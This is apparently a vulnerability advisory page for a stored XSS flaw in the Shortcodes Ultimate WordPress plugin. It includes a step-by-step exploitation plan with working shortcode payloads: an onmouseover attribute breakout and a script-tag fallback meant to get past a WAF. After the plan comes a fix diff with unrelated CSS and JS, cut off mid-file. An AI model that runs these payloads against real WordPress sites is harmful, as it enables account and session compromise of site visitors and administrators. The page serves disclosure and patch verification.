WP Shortcodes Plugin — Shortcodes Ultimate <= 7.4.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'max_width' Shortcode Attribute
Description
The WP Shortcodes Plugin — Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'max_width' attribute of the `su_box` shortcode in all versions up to, and including, 7.4.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=7.4.10What Changed in the Fix
Changes introduced in v7.5.0
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-2480 ## 1. Vulnerability Summary The **Shortcodes Ultimate** plugin (versions <= 7.4.10) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the rendering of the `su_box` shortcode. Specifically, the `max_width` attribute i…
Show full research plan
Exploitation Research Plan - CVE-2026-2480
1. Vulnerability Summary
The Shortcodes Ultimate plugin (versions <= 7.4.10) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the rendering of the su_box shortcode. Specifically, the max_width attribute is reflected into the HTML output without sufficient sanitization or attribute escaping. Authenticated users with at least contributor privileges can exploit this to inject malicious JavaScript into posts or pages, which then executes in the browser of any user (including administrators) who views the content.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(for storing the shortcode) and the public-facing post/page URL (for execution). - Shortcode:
[su_box] - Vulnerable Attribute:
max_width - Authentication Level: Contributor or higher (users who can create/edit posts).
- Preconditions: The plugin must be active, and a user with
contributorroles must be able to create a post containing shortcodes.
3. Code Flow
The precise sink is located in the shortcode rendering logic (likely in includes/functions-shortcodes.php, referenced in Shortcodes_Ultimate::load_dependencies but not fully provided in the source).
- Entry: A Contributor saves a post containing:
[su_box max_width='100%;" onmouseover="alert(document.domain)"']...[/su_box]. - Storage: WordPress saves this raw shortcode string in the
post_contentcolumn of thewp_poststable. - Processing: When the post is viewed, WordPress calls
do_shortcode(), which triggers the registered callback forsu_box. - Rendering: The callback extracts the
max_widthattribute. It fails to useesc_attr()or a similar sanitization function before placing it into the style attribute of adivelement. - Sink: The resulting HTML looks approximately like:
<div class="su-box" style="max-width:100%;" onmouseover="alert(document.domain)"">...</div> - Execution: When an administrator moves their mouse over the box, the XSS executes.
4. Nonce Acquisition Strategy
To save a post as a Contributor, a standard WordPress _wpnonce for the post editor is required.
- Login: Use the
browser_navigateandbrowser_typetools to log in as a Contributor. - Navigate: Navigate to
wp-admin/post-new.php. - Extract: Use
browser_evalto extract the nonce and the post ID (if autosaved) from the DOM.- Nonce:
document.querySelector('#_wpnonce').value - Post ID:
document.querySelector('#post_ID').value
- Nonce:
Note: While Su_Generator in inc/core/generator.php registers AJAX actions like su_generator_preview, these are for the UI preview. The "Stored" nature of this CVE refers to the post content itself.
5. Exploitation Strategy
Step 1: Authentication and Nonce Extraction
- Action: Log in as
contributor. - Action: Navigate to
wp-admin/post-new.php. - JS Extraction:
{ "nonce": document.querySelector('#_wpnonce').value, "post_id": document.querySelector('#post_ID').value, "author": document.querySelector('#post_author').value }
Step 2: Injected Post Creation
- Tool:
http_request - Method:
POST - URL:
http://vulnerable-wp.local/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
_wpnonce:[EXTRACTED_NONCE]action:editpostpost_ID:[EXTRACTED_POST_ID]post_type:postpost_title:Stored XSS PoCpost_status:publish(if contributor has permission) orpendingcontent:[su_box title="XSS Box" max_width='600px; font-size: 50px;" onmouseover="alert(document.domain)"']Hover over this box to trigger XSS[/su_box]
Step 3: Triggering the XSS
- Action: Log in as
admin. - Action: Navigate to the URL of the newly created post:
http://vulnerable-wp.local/?p=[POST_ID]. - Action: Use
browser_move_mouseto hover over the rendered box element.
6. Test Data Setup
- Plugin: Install and activate
shortcodes-ultimateversion 7.4.10. - User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
7. Expected Results
- The HTTP request to
post.phpshould return a302redirect to the post edit page, indicating success. - When viewing the post source, the
su-boxdiv should contain the broken style attribute:
style="max-width:600px; font-size: 50px;" onmouseover="alert(document.domain)" - The browser should trigger an alert dialog containing the site domain when the box is hovered.
8. Verification Steps
- CLI Check: Verify the post content in the database.
wp post get [POST_ID] --field=post_content- Output should contain the malicious
[su_box ...]string.
- DOM Check: Use
browser_evalon the post page to check for the presence of theonmouseoverhandler.browser_eval("document.querySelector('.su-box').getAttribute('onmouseover')")- Should return:
alert(document.domain)
9. Alternative Approaches
If onmouseover is blocked by a site-wide security policy (e.g., a basic WAF), attempt to break out of the style tag entirely to inject a script tag:
- Payload:
600px;"></style><script>alert(document.domain)</script><style>" - Resulting HTML:
This payload closes the<div class="su-box" style="max-width:600px;"></style><script>alert(document.domain)</script><style>">...</div>styleattribute, closes thediv(implicitly or via the style tag hack), and executes a script tag directly.
Summary
The Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'max_width' attribute of the su_box shortcode. Authenticated attackers with contributor-level permissions or higher can inject malicious JavaScript into the style attribute of the rendered box element, which executes when a user interacts with or views the affected page.
Security Fix
@@ -1 +1 @@ -.su-admin-u-hidden{display:none}.su-admin-c-button{display:inline-block;padding:7px 15px;border-radius:3px;background:#0073d7;color:#fff;text-align:center;text-decoration:none;text-transform:uppercase;text-shadow:0 1px 2px #004581;font-weight:600;font-size:.85rem;cursor:pointer}.su-admin-c-button:hover{background:rgb(38.25,136,221);color:#fff;text-decoration:none}.su-admin-c-button:active,.su-admin-c-button:focus{background:rgb(0,86.25,161.25);color:#fff;text-decoration:none}.su-admin-c-notice-pro{margin:-10px -12px 12px -10px;padding:size-base();background:#fff7c6;box-shadow:0 1px 10px rgba(147.9,128.18,0,.4)}.su-admin-c-notice-pro p{margin:0;font-weight:500;font-size:.95rem}.su-admin-c-notice-pro p+p{margin:size-base(.75) 0 0}.su-admin-c-notice-pro .button{text-transform:uppercase;font-weight:700}@media screen and (min-width:783px){.su-admin-c-notice-pro{display:flex;align-items:center;justify-content:space-between;margin:-10px -20px 12px -22px;padding:size-base(.75) size-base()}.su-admin-c-notice-pro p+p{margin:0 0 0 size-base()}.su-admin-c-notice-pro .button{padding:size-base(.25) size-base(.75)}}body.toplevel_page_shortcodes-ultimate{background:#fff}body.toplevel_page_shortcodes-ultimate .notice,body.toplevel_page_shortcodes-ultimate .updated{display:none!important}.su-admin-about{margin:60px auto;padding-right:10px}@media screen and (min-width:783px){.su-admin-about{margin:100px auto;padding-right:20px}}.su-admin-about-page-header{margin:0 auto;max-width:540px;text-align:center}.su-admin-about-page-header img{width:64px;height:64px}.su-admin-about-page-header h1{margin:25px 0 10px;padding:0;font-weight:700;font-size:1.45rem}.su-admin-about-page-header p{margin:0;font-size:.9rem}@media only screen and (min-width:783px){.su-admin-about-page-header img{width:84px;height:84px}.su-admin-about-page-header h1{margin:30px 0 10px;font-size:2rem}.su-admin-about-page-header p{font-size:1rem}}.su-admin-about-getting-started{margin:30px auto 0;max-width:960px}.su-admin-about-getting-started-video{position:relative;padding-top:56.25%;background:#f5f5f5}@keyframes su-admin-about-getting-started-video-loading{0%{opacity:1}60%{opacity:1}80%{opacity:0}100%{opacity:1}}.su-admin-about-getting-started-video-loading{animation:su-admin-about-getting-started-video-loading 2s infinite}.su-admin-about-getting-started-video-button,.su-admin-about-getting-started-video-iframe{position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%}.su-admin-about-getting-started-video-button{display:flex;align-items:center;flex-direction:column;justify-content:center;margin:0;padding:0;border:none;border-radius:3px;background:#ccc url(../images/pages/about/poster.jpg) no-repeat;background-size:cover;color:inherit;font-size:100%;font-family:inherit;cursor:pointer;-webkit-appearance:none;-moz-appearance:none}.su-admin-about-getting-started-video-button.su-admin-u-hidden{display:none}.su-admin-about-getting-started-video-button svg{width:64px;height:64px;color:#0073d7;transition:transform .4s ease;transform:scale(1)}.su-admin-about-getting-started-video-button:active svg,.su-admin-about-getting-started-video-button:focus svg,.su-admin-about-getting-started-video-button:hover svg{transform:scale(1.2)}.su-admin-about-getting-started-video-button span{margin-top:20px;color:#000;text-shadow:0 1px 3px #fff;font-weight:500;font-size:.9rem}.su-admin-about-getting-started p{margin:1rem 0 0}@media only screen and (min-width:783px){.su-admin-about-getting-started{margin:80px auto 0}.su-admin-about-getting-started-video-button span{font-size:1rem}.su-admin-about-getting-started-video-button svg{width:80px;height:80px}}.su-admin-about-popular{margin-top:60px}.su-admin-about-popular h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}.su-admin-about-popular p{margin:15px auto 0;max-width:540px;text-align:center;font-size:.9rem}.su-admin-about-popular-grid{margin:40px auto 0;max-width:400px}.su-admin-about-popular-item{display:flex;align-items:flex-start;margin:0 0 25px}.su-admin-about-popular-item-icon{flex:0 0 auto;margin-right:15px;background:#fff}.su-admin-about-popular-item-title{display:block;margin-bottom:5px;text-transform:capitalize;font-weight:700;font-size:1rem;line-height:24px}.su-admin-about-popular-item-description{color:#777}.su-admin-about-popular-bottom{margin-top:20px;text-align:center}.su-admin-about-popular-bottom .button{display:inline-flex;align-items:center;padding:.4rem 1.2rem;text-transform:uppercase;font-weight:500;font-size:.9rem}.su-admin-about-popular-bottom svg{margin:-2px 0 0 7.4px}@media only screen and (min-width:783px){.su-admin-about-popular{margin-top:100px}.su-admin-about-popular h2{font-size:2rem}.su-admin-about-popular p{margin-top:20px;font-size:1rem}.su-admin-about-popular-grid{display:flex;flex-wrap:wrap;justify-content:space-between;margin:60px auto 0;max-width:640px}.su-admin-about-popular-item{flex:0 0 45%;margin:0 0 35px}}.su-admin-about-upgrade{position:relative;margin:60px -10px 0;padding:40px 25px 30px;max-width:800px;background:linear-gradient(to bottom,#282828,#000);color:#fff}.su-admin-about-upgrade::before{position:absolute;top:0;right:0;left:0;display:block;width:100%;height:5px;background-image:linear-gradient(45deg,#d168f7 0,#d168f7 12.5%,#f768b2 12.5%,#f768b2 25%,#f78968 25%,#f78968 37.5%,#f7f568 37.5%,#f7f568 50%,#8ef768 50%,#8ef768 62.5%,#68f7ad 62.5%,#68f7ad 75%,#68d6f7 75%,#68d6f7 87.5%,#686af7 87.5%,#686af7 100%);content:""}.su-admin-about-upgrade-features{flex:0 0 64%}.su-admin-about-upgrade-features h2{margin:0;color:#fff;text-align:center;font-weight:700;font-size:1.65rem}.su-admin-about-upgrade-features-list{display:flex;justify-content:center}.su-admin-about-upgrade-features-list ul{margin:30px 0 0}.su-admin-about-upgrade-features-list li{position:relative;box-sizing:border-box;margin:0;padding:0 0 0 22px;font-size:.9rem;line-height:1.5}.su-admin-about-upgrade-features-list li::before{position:absolute;top:0;left:0;display:block;width:12px;height:1.35rem;background:0 50% url(../images/pages/about/check.svg) no-repeat;content:""}.su-admin-about-upgrade-features-list li+li{margin-top:5px}.su-admin-about-upgrade-buy{display:flex;flex:0 0 30%;flex-direction:column;justify-content:center;margin-top:35px}.su-admin-about-upgrade-buy-pricing{margin-bottom:25px;text-align:center}.su-admin-about-upgrade-buy-pricing-price{display:flex;justify-content:center}.su-admin-about-upgrade-buy-pricing-currency{color:#ddd;font-weight:500;font-size:25px;line-height:1}.su-admin-about-upgrade-buy-pricing-value{margin:0 5px 0 2px;vertical-align:top;font-weight:700;font-size:65px;line-height:.7}.su-admin-about-upgrade-buy-pricing-period{margin-top:10px;color:#a2a2a2;font-size:.8rem}.su-admin-about-upgrade-buy-button{display:block;padding:15px;font-size:1rem;line-height:1.5}@media only screen and (min-width:783px){.su-admin-about-upgrade{display:flex;justify-content:space-between;margin:100px auto 0;padding:50px 40px;border-radius:5px}.su-admin-about-upgrade::before{border-top-left-radius:5px;border-top-right-radius:5px}.su-admin-about-upgrade-features h2{font-size:1.65rem;text-align:left}.su-admin-about-upgrade-features-list{display:block}.su-admin-about-upgrade-features-list ul{display:grid;grid-template-columns:repeat(auto-fit,minmax(215px,1fr));grid-gap:10px 20px}.su-admin-about-upgrade-features-list li+li{margin-top:0}.su-admin-about-upgrade-buy{margin:0}}.su-admin-about-help{margin-top:100px}.su-admin-about-help h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}@media only screen and (min-width:783px){.su-admin-about-help h2{font-size:2rem}}.su-admin-about-help-menu{display:flex;justify-content:center;margin-top:40px}.su-admin-about-help-menu ul{margin:0}.su-admin-about-help-menu li{margin:0}.su-admin-about-help-menu li+li{margin-top:10px}.su-admin-about-help-menu a{position:relative;display:block;padding-left:30px;text-decoration:none;font-weight:500;font-size:1rem;line-height:1.5}.su-admin-about-help-menu a:active,.su-admin-about-help-menu a:focus,.su-admin-about-help-menu a:hover{text-decoration:underline}.su-admin-about-help-menu svg{position:absolute;top:.225rem;left:0;width:1.1rem;height:1.1rem;color:#333}.su-admin-about-help-menu em{padding:.15rem .3rem;border-radius:3px;background:#f1f1f1;color:#000;font-weight:700;font-style:normal;font-size:.8rem;line-height:1}@media only screen and (min-width:783px){.su-admin-about-help-menu ul{display:flex}.su-admin-about-help-menu li{flex:0 1 auto}.su-admin-about-help-menu li+li{margin:0 0 0 40px}}.su-admin-settings-page-title{display:flex!important;align-items:center}.su-admin-settings-page-title img{margin-right:13px}.su-admin-settings-form{max-width:800px}.su-admin-settings-form .CodeMirror{height:auto;border:1px solid #7e8993}.su-admin-settings-form .CodeMirror-scroll{min-height:100px;max-height:80vh}.su-admin-settings-form details{margin:20px 0}.su-admin-settings-form summary{font-weight:600;cursor:pointer}.su-admin-settings-form details>article{margin-top:20px}.su-admin-settings-form p.description{margin-top:10px}.su-admin-settings-bottom-menu li{position:relative;display:inline-block;margin:0}.su-admin-settings-bottom-menu li+li{margin-left:32px}.su-admin-settings-bottom-menu li+li::before{position:absolute;top:20%;left:-15px;display:block;height:70%;border-left:1px solid #ccd0d4;content:""} \ No newline at end of file +.su-admin-u-hidden{display:none}.su-admin-c-button{display:inline-block;padding:7px 15px;border-radius:3px;background:#0073d7;color:#fff;text-align:center;text-decoration:none;text-transform:uppercase;text-shadow:0 1px 2px #004581;font-weight:600;font-size:.85rem;cursor:pointer}.su-admin-c-button:hover{background:rgb(38.25,136,221);color:#fff;text-decoration:none}.su-admin-c-button:active,.su-admin-c-button:focus{background:rgb(0,86.25,161.25);color:#fff;text-decoration:none}.su-admin-c-notice-pro{margin:-10px -12px 12px -10px;padding:20px;background:#fff7c6;box-shadow:0 1px 10px rgba(147.9,128.18,0,.4)}.su-admin-c-notice-pro p{margin:0;font-weight:500;font-size:.95rem}.su-admin-c-notice-pro p+p{margin:15px 0 0}.su-admin-c-notice-pro .button{text-transform:uppercase;font-weight:700}@media screen and (min-width:783px){.su-admin-c-notice-pro{display:flex;align-items:center;justify-content:space-between;margin:-10px -20px 12px -22px;padding:15px 20px}.su-admin-c-notice-pro p+p{margin:0 0 0 20px}.su-admin-c-notice-pro .button{padding:5px 15px}}body.toplevel_page_shortcodes-ultimate{background:#fff}body.toplevel_page_shortcodes-ultimate .notice,body.toplevel_page_shortcodes-ultimate .updated{display:none!important}.su-admin-about{margin:60px auto;padding-right:10px}@media screen and (min-width:783px){.su-admin-about{margin:100px auto;padding-right:20px}}.su-admin-about-page-header{margin:0 auto;max-width:540px;text-align:center}.su-admin-about-page-header img{width:64px;height:64px}.su-admin-about-page-header h1{margin:25px 0 10px;padding:0;font-weight:700;font-size:1.45rem}.su-admin-about-page-header p{margin:0;font-size:.9rem}@media only screen and (min-width:783px){.su-admin-about-page-header img{width:84px;height:84px}.su-admin-about-page-header h1{margin:30px 0 10px;font-size:2rem}.su-admin-about-page-header p{font-size:1rem}}.su-admin-about-getting-started{margin:30px auto 0;max-width:960px}.su-admin-about-getting-started-video{position:relative;padding-top:56.25%;background:#f5f5f5}@keyframes su-admin-about-getting-started-video-loading{0%{opacity:1}60%{opacity:1}80%{opacity:0}100%{opacity:1}}.su-admin-about-getting-started-video-loading{animation:su-admin-about-getting-started-video-loading 2s infinite}.su-admin-about-getting-started-video-button,.su-admin-about-getting-started-video-iframe{position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%}.su-admin-about-getting-started-video-button{display:flex;align-items:center;flex-direction:column;justify-content:center;margin:0;padding:0;border:none;border-radius:3px;background:#ccc url(../images/pages/about/poster.jpg) no-repeat;background-size:cover;color:inherit;font-size:100%;font-family:inherit;cursor:pointer;-webkit-appearance:none;-moz-appearance:none}.su-admin-about-getting-started-video-button.su-admin-u-hidden{display:none}.su-admin-about-getting-started-video-button svg{width:64px;height:64px;color:#0073d7;transition:transform .4s ease;transform:scale(1)}.su-admin-about-getting-started-video-button:active svg,.su-admin-about-getting-started-video-button:focus svg,.su-admin-about-getting-started-video-button:hover svg{transform:scale(1.2)}.su-admin-about-getting-started-video-button span{margin-top:20px;color:#000;text-shadow:0 1px 3px #fff;font-weight:500;font-size:.9rem}.su-admin-about-getting-started p{margin:1rem 0 0}@media only screen and (min-width:783px){.su-admin-about-getting-started{margin:80px auto 0}.su-admin-about-getting-started-video-button span{font-size:1rem}.su-admin-about-getting-started-video-button svg{width:80px;height:80px}}.su-admin-about-popular{margin-top:60px}.su-admin-about-popular h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}.su-admin-about-popular p{margin:15px auto 0;max-width:540px;text-align:center;font-size:.9rem}.su-admin-about-popular-grid{margin:40px auto 0;max-width:400px}.su-admin-about-popular-item{display:flex;align-items:flex-start;margin:0 0 25px}.su-admin-about-popular-item-icon{flex:0 0 auto;margin-right:15px;background:#fff}.su-admin-about-popular-item-title{display:block;margin-bottom:5px;text-transform:capitalize;font-weight:700;font-size:1rem;line-height:24px}.su-admin-about-popular-item-description{color:#777}.su-admin-about-popular-bottom{margin-top:20px;text-align:center}.su-admin-about-popular-bottom .button{display:inline-flex;align-items:center;padding:.4rem 1.2rem;text-transform:uppercase;font-weight:500;font-size:.9rem}.su-admin-about-popular-bottom svg{margin:-2px 0 0 7.4px}@media only screen and (min-width:783px){.su-admin-about-popular{margin-top:100px}.su-admin-about-popular h2{font-size:2rem}.su-admin-about-popular p{margin-top:20px;font-size:1rem}.su-admin-about-popular-grid{display:flex;flex-wrap:wrap;justify-content:space-between;margin:60px auto 0;max-width:640px}.su-admin-about-popular-item{flex:0 0 45%;margin:0 0 35px}}.su-admin-about-upgrade{position:relative;margin:60px -10px 0;padding:40px 25px 30px;max-width:800px;background:linear-gradient(to bottom,#282828,#000);color:#fff}.su-admin-about-upgrade::before{position:absolute;top:0;right:0;left:0;display:block;width:100%;height:5px;background-image:linear-gradient(45deg,#d168f7 0,#d168f7 12.5%,#f768b2 12.5%,#f768b2 25%,#f78968 25%,#f78968 37.5%,#f7f568 37.5%,#f7f568 50%,#8ef768 50%,#8ef768 62.5%,#68f7ad 62.5%,#68f7ad 75%,#68d6f7 75%,#68d6f7 87.5%,#686af7 87.5%,#686af7 100%);content:""}.su-admin-about-upgrade-features{flex:0 0 64%}.su-admin-about-upgrade-features h2{margin:0;color:#fff;text-align:center;font-weight:700;font-size:1.65rem}.su-admin-about-upgrade-features-list{display:flex;justify-content:center}.su-admin-about-upgrade-features-list ul{margin:30px 0 0}.su-admin-about-upgrade-features-list li{position:relative;box-sizing:border-box;margin:0;padding:0 0 0 22px;font-size:.9rem;line-height:1.5}.su-admin-about-upgrade-features-list li::before{position:absolute;top:0;left:0;display:block;width:12px;height:1.35rem;background:0 50% url(../images/pages/about/check.svg) no-repeat;content:""}.su-admin-about-upgrade-features-list li+li{margin-top:5px}.su-admin-about-upgrade-buy{display:flex;flex:0 0 30%;flex-direction:column;justify-content:center;margin-top:35px}.su-admin-about-upgrade-buy-pricing{margin-bottom:25px;text-align:center}.su-admin-about-upgrade-buy-pricing-price{display:flex;justify-content:center}.su-admin-about-upgrade-buy-pricing-currency{color:#ddd;font-weight:500;font-size:25px;line-height:1}.su-admin-about-upgrade-buy-pricing-value{margin:0 5px 0 2px;vertical-align:top;font-weight:700;font-size:65px;line-height:.7}.su-admin-about-upgrade-buy-pricing-period{margin-top:10px;color:#a2a2a2;font-size:.8rem}.su-admin-about-upgrade-buy-button{display:block;padding:15px;font-size:1rem;line-height:1.5}@media only screen and (min-width:783px){.su-admin-about-upgrade{display:flex;justify-content:space-between;margin:100px auto 0;padding:50px 40px;border-radius:5px}.su-admin-about-upgrade::before{border-top-left-radius:5px;border-top-right-radius:5px}.su-admin-about-upgrade-features h2{font-size:1.65rem;text-align:left}.su-admin-about-upgrade-features-list{display:block}.su-admin-about-upgrade-features-list ul{display:grid;grid-template-columns:repeat(auto-fit,minmax(215px,1fr));grid-gap:10px 20px}.su-admin-about-upgrade-features-list li+li{margin-top:0}.su-admin-about-upgrade-buy{margin:0}}.su-admin-about-help{margin-top:100px}.su-admin-about-help h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}@media only screen and (min-width:783px){.su-admin-about-help h2{font-size:2rem}}.su-admin-about-help-menu{display:flex;justify-content:center;margin-top:40px}.su-admin-about-help-menu ul{margin:0}.su-admin-about-help-menu li{margin:0}.su-admin-about-help-menu li+li{margin-top:10px}.su-admin-about-help-menu a{position:relative;display:block;padding-left:30px;text-decoration:none;font-weight:500;font-size:1rem;line-height:1.5}.su-admin-about-help-menu a:active,.su-admin-about-help-menu a:focus,.su-admin-about-help-menu a:hover{text-decoration:underline}.su-admin-about-help-menu svg{position:absolute;top:.225rem;left:0;width:1.1rem;height:1.1rem;color:#333}.su-admin-about-help-menu em{padding:.15rem .3rem;border-radius:3px;background:#f1f1f1;color:#000;font-weight:700;font-style:normal;font-size:.8rem;line-height:1}@media only screen and (min-width:783px){.su-admin-about-help-menu ul{display:flex}.su-admin-about-help-menu li{flex:0 1 auto}.su-admin-about-help-menu li+li{margin:0 0 0 40px}}.su-admin-settings-page-title{display:flex!important;align-items:center}.su-admin-settings-page-title img{margin-right:13px}.su-admin-settings-form{max-width:800px}.su-admin-settings-form .CodeMirror{height:auto;border:1px solid #7e8993}.su-admin-settings-form .CodeMirror-scroll{min-height:100px;max-height:80vh}.su-admin-settings-form details{margin:20px 0}.su-admin-settings-form summary{font-weight:600;cursor:pointer}.su-admin-settings-form details>article{margin-top:20px}.su-admin-settings-form p.description{margin-top:10px}.su-admin-settings-bottom-menu li{position:relative;display:inline-block;margin:0}.su-admin-settings-bottom-menu li+li{margin-left:32px}.su-admin-settings-bottom-menu li+li::before{position:absolute;top:20%;left:-15px;display:block;height:70%;border-left:1px solid #ccd0d4;content:""} \ No newline at end of file @@ -55,16 +55,15 @@ <h2><?php esc_html_e( 'Upgrade to PRO', 'shortcodes-ultimate' ); ?></h2> <div class="su-admin-about-upgrade-features-list"> <ul> + <li><?php esc_html_e( 'Elementor support', 'shortcodes-ultimate' ); ?></li> + <li><?php esc_html_e( 'Personal email support', 'shortcodes-ultimate' ); ?></li> <li><?php esc_html_e( 'Parallax Section shortcode', 'shortcodes-ultimate' ); ?></li> - <li><?php esc_html_e( 'Custom PHP shortcodes', 'shortcodes-ultimate' ); ?></li> <li><?php esc_html_e( 'Content Slider shortcode', 'shortcodes-ultimate' ); ?></li> - <li><?php esc_html_e( 'Personal email support', 'shortcodes-ultimate' ); ?></li> <li><?php esc_html_e( 'Testimonail shortcode', 'shortcodes-ultimate' ); ?></li> - <li><?php esc_html_e( '24 styles for Heading', 'shortcodes-ultimate' ); ?></li> <li><?php esc_html_e( 'Progress Bar shortcode', 'shortcodes-ultimate' ); ?></li> - <li><?php esc_html_e( '14 styles for Spoiler', 'shortcodes-ultimate' ); ?></li> <li><?php esc_html_e( 'Exit Popup shortcode', 'shortcodes-ultimate' ); ?></li> - <li><?php esc_html_e( '13 styles for Tabs', 'shortcodes-ultimate' ); ?></li> + <li><?php esc_html_e( 'Custom HTML & PHP shortcodes', 'shortcodes-ultimate' ); ?></li> + <li><?php esc_html_e( 'Over 50 additional styles for selected shortcodes', 'shortcodes-ultimate' ); ?></li> </ul> </div> </div> @@ -72,7 +71,7 @@ <div class="su-admin-about-upgrade-buy-pricing"> <div class="su-admin-about-upgrade-buy-pricing-price"> <span class="su-admin-about-upgrade-buy-pricing-currency">$</span> - <span class="su-admin-about-upgrade-buy-pricing-value">39</span> + <span class="su-admin-about-upgrade-buy-pricing-value">49</span> </div> <div class="su-admin-about-upgrade-buy-pricing-period"><?php esc_html_e( 'per year', 'shortcodes-ultimate' ); ?></div> </div> Only in /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/freemius/assets/img: shortcodes-ultimate.png @@ -149,7 +149,7 @@ wp_enqueue_script( 'shortcodes-ultimate-block-editor', plugins_url('includes/js/block-editor/index.js', SU_PLUGIN_FILE), - array('wp-element', 'wp-components', 'wp-edit-post', 'wp-plugins', 'wp-blocks', 'wp-data', 'su-generator'), + array('wp-element', 'wp-components', 'wp-edit-post', 'wp-plugins', 'wp-blocks', 'wp-data'), SU_PLUGIN_VERSION, true ); @@ -268,6 +268,10 @@ add_filter( 'su/data/shortcodes', array($this->admin_pro_features, 'add_generator_cta') ); } + public function freemius_tracking_allowed() { + return su_fs()->is_registered() && su_fs()->is_tracking_allowed(); + } + /** * Register all of the hooks related to both admin area and public part of * the plugin. @@ -380,6 +380,32 @@ } +function su_sanitize_css_property_value( $value ) { + return preg_replace( '/[^a-z0-9\s\.\#\,\(\)\%\-]/i', '', $value ); +} + +function su_sanitize_css_value( $value, $default = 'none' ) { + + $value = trim( $value ); + + if ( '' === $value ) { + return $default; + } + + $keywords = array( 'none', 'auto', 'inherit', 'initial', 'unset', 'max-content', 'min-content', 'fit-content' ); + + if ( in_array( strtolower( $value ), $keywords, true ) ) { + return strtolower( $value ); + } + + if ( preg_match( '/^-?\d+(\.\d+)?(px|em|rem|%|vw|vh|vmin|vmax|ch|ex|cm|mm|in|pt|pc)?$/i', $value ) ) { + return $value; + } + + return $default; + +} + /** * Helper to get the current page URL * @return string Current page URL @@ -1,2 +1,2 @@ -!function n(a,s,o){function i(t,e){if(!s[t]){if(!a[t]){var r="function"==typeof require&&require;if(!e&&r)return r(t,!0);if(u)return u(t,!0);throw(e=new Error("Cannot find module '"+t+"'")).code="MODULE_NOT_FOUND",e}r=s[t]={exports:{}},a[t][0].call(r.exports,function(e){return i(a[t][1][e]||e)},r,r.exports,n,a,s,o)}return s[t].exports}for(var u="function"==typeof require&&require,e=0;e<o.length;e++)i(o[e]);return i}({1:[function(e,t,r){var p,n,s,o,i,u,c,l,g,a,d,f;window.SUG={},window.SUG.App=(p=jQuery,n=p("#su-generator"),s=p("#su-generator-search"),o=p("#su-generator-filter"),i=o.children("a"),u=p("#su-generator-choices"),c=u.find("span"),l=p("#su-generator-settings"),g=p("#su-compatibility-mode-prefix"),a=p("#su-generator-result"),d=p("#su-generator-selected"),(f={state:{mceSelection:"",target:"",wpActiveEditor:null,context:"",insertArgs:"",preview:{timer:null,request:null}}}).el={body:p("body")},f.init=()=>{var a;i.click(function(e){var t,r=p(this).data("filter");"all"===r?c.css({opacity:1}).removeClass("su-generator-choice-first"):(t=new RegExp(r,"gi"),c.css({opacity:.2}),c.each(function(){null!==p(this).data("group").match(t)&&p(this).css({opacity:1}).removeClass("su-generator-choice-first")})),e.preventDefault()}),p("#su-generator").on("click",".su-generator-home",function(e){s.val(""),l.html("").hide(),n.removeClass("su-generator-narrow"),o.show(),u.show(),c.show(),f.state.mceSelection="",s.focus(),e.preventDefault()}),p("#su-generator").on("click",".su-generator-close",function(e){p.magnificPopup.close(),e.preventDefault()}),s.on({focus:function(){p(this).val(""),l.html("").hide(),n.removeClass("su-generator-narrow"),u.show(),c.css({opacity:1}).removeClass("su-generator-choice-first"),o.show()},blur:function(){},keyup:function(e){var t=p(".su-generator-choice-first:first"),r=p(this).val(),n=new RegExp(r,"gi"),a=0;13===e.keyCode&&0<t.length&&(e.preventDefault(),p(this).val("").blur(),t.trigger("click")),c.css({opacity:.2}).removeClass("su-generator-choice-first"),c.each(function(){var e=p(this).data(),t=e.shortcode,e=[t,e.name,e.desc,e.group].join(" ").match(n);null!==e&&(p(this).css({opacity:1}),r===t?(c.removeClass("su-generator-choice-first"),p(this).addClass("su-generator-choice-first"),a=999):e.length>a&&(c.removeClass("su-generator-choice-first"),p(this).addClass("su-generator-choice-first"),a=e.length))}),""===r&&c.removeClass("su-generator-choice-first")}}),c.on("click",function(e){var t=p(this).data("shortcode");p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_settings",shortcode:t},beforeSend:function(){p("#su-generator-preview").hide(),u.hide(),l.addClass("su-generator-loading").show(),n.addClass("su-generator-narrow"),o.hide()},success:function(e){l.removeClass("su-generator-loading"),l.html(e);e=p("#su-generator-content");void 0!==f.state.mceSelection&&""!==f.state.mceSelection&&"hidden"!==e.attr("type")&&e.val(f.state.mceSelection),p(".su-generator-range-picker").each(function(e){var t=p(this).find("input"),r=t.attr("min"),n=t.attr("max"),a=t.attr("step");t.simpleSlider({snap:!0,step:a,range:[r,n]}),t.show(),t.on("keyup blur",function(e){t.simpleSlider("setValue",t.val())})}),p(".su-generator-select-color").each(function(e){p(this).find(".su-generator-select-color-wheel").filter(":first").farbtastic(".su-generator-select-color-value:eq("+e+")"),p(this).find(".su-generator-select-color-value").focus(function(){p(".su-generator-select-color-wheel:eq("+e+")").show()}),p(this).find(".su-generator-select-color-value").blur(function(){p(".su-generator-select-color-wheel:eq("+e+")").hide()})}),p(".su-generator-isp").each(function(){function n(){var 